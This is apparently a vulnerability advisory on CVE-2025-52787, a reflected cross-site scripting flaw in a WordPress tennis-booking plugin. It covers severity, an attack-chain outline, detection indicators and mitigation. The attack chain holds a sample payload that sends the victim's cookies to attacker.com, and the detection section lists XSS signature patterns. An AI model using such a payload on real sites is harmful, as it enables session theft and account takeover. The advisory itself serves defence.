CVE-2025-52787: 
WordPress vulnerability analysis and mitigation

CVE-2025-52787 is a Reflected Cross-Site Scripting (XSS) vulnerability in the EZiHosting Tennis Court Bookings WordPress plugin. It affects all versions of the plugin through 1.2.7 and was published on July 16, 2025, with the assigner credited as Patchstack. The vulnerability carries a CVSS v3.1 base score of 7.1 (High) (Red Hat CVE, Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. Reflected XSS occurs when user-supplied input is incorporated into server responses without adequate sanitization or output encoding, causing malicious scripts to execute in the victim's browser when they click a crafted link. Exploitation requires user interaction (a victim clicking a malicious URL), but no authentication is needed from the attacker's side, as indicated by the CVSS vector (AV:N/AC:L/PR:N/UI:R/S:C) (Red Hat CVE, Patchstack).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the context of a victim's browser session on the affected WordPress site. This can lead to session token theft, credential harvesting, defacement of page content visible to the victim, or redirection to malicious sites. The CVSS scope is rated as Changed (S:C), meaning the impact can extend beyond the vulnerable component itself, affecting confidentiality, integrity, and availability at a low level each (Red Hat CVE).

No public proof-of-concept exploit code or evidence of active in-the-wild exploitation has been reported for CVE-2025-52787 as of the available data. The EPSS score is approximately 0.032% (0.000320), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, though it was referenced in a CISA vulnerability bulletin for the week of July 14, 2025 (CISA Bulletin, Red Hat CVE).

1. Reconnaissance: Identify WordPress sites running the Tennis Court Bookings plugin (version ≤ 1.2.7) by EZiHosting, using tools like WPScan or Shodan to enumerate plugin versions.
2. Identify vulnerable parameter: Locate the plugin's front-end pages or endpoints that reflect unsanitized user input back in the HTTP response (e.g., booking form query parameters).
3. Craft malicious URL: Construct a URL containing a reflected XSS payload in the vulnerable parameter, such as https://target-site.com/tennis-booking-page/?param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
4. Deliver to victim: Send the crafted URL to a target user (e.g., a site administrator) via phishing email, social engineering, or embedded link.
5. Achieve objective: When the victim clicks the link and loads the page, the injected script executes in their browser, potentially stealing session cookies, performing actions on their behalf, or redirecting them to a malicious site (Red Hat CVE, Patchstack).

• Network: HTTP requests to Tennis Court Bookings plugin pages containing URL-encoded script tags or JavaScript event handlers (e.g., %3Cscript%3E, onerror=, onload=) in query parameters; outbound requests from victim browsers to unknown external domains shortly after visiting the plugin's pages.
• Logs: WordPress or web server access logs showing GET/POST requests to booking-related endpoints with anomalous parameter values containing HTML or JavaScript syntax; referrer headers pointing to external phishing domains.
• Browser/Client: Unexpected redirects or pop-ups when visiting the site's tennis booking pages; browser developer tools showing script execution from unexpected inline sources.

Site administrators should update the Tennis Court Bookings plugin to a version beyond 1.2.7 if a patched release is available from EZiHosting or the WordPress plugin repository. If no patch is yet available, the recommended workaround is to deactivate and remove the plugin until a fix is released. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts in the interim (Patchstack, Red Hat CVE).